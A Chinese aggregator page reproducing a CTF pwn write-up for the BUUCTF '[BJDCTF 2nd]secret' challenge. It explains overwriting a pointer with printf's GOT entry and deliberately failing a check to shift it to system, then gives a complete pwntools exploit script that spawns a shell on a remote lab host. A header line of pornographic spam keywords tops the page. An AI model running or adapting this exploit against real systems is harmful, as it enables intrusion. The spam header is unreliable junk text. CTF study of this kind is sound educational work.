日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

BUUCTF(pwn)[BJDCTF 2nd]secret

發布時間:2025/3/20 编程问答 17 豆豆
生活随笔 收集整理的這篇文章主要介紹了 BUUCTF(pwn)[BJDCTF 2nd]secret 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

感覺這道題技巧性比較強


有兩次輸入 一次名字,一次 密碼


先進 46A3AF


這里有一次輸入 name

看一下 0x40136D的匯編

這里每次有一次 調用 0x46A329,并且 有一次cmp比較; 那么進入 0x46a329


進去看看0x401301



發現 printf_plt 的位置 與 system的位置相差0x10即16
我們可以一開始輸入name的時候輸入bin/sh; 把0x46d090覆蓋為printf_plt,
經過16次輸入比較, 前15次輸入對的,最后一次輸入錯誤的,使地址偏移為 system,
得到flag;

思路

輸入name 為 bin/sh 修改off_46D090, 為printf_got。 答對15次,答錯一次剛好16次即0x10 使得printf_got指向system from pwn import *p = remote('node3.buuoj.cn',26671)elf = ELF('./2')printf_got=elf.got['printf']keys=[0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]payload='/bin/sh\x00'.ljust(0x10,'a')+p32(printf_got)p.sendlineafter("What's your name?",payload)for a in keys:p.sendlineafter('Secret:',str(a))p.sendlineafter('Secret:','1')p.interactive() 與50位技術專家面對面20年技術見證,附贈技術全景圖

總結

以上是生活随笔為你收集整理的BUUCTF(pwn)[BJDCTF 2nd]secret的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。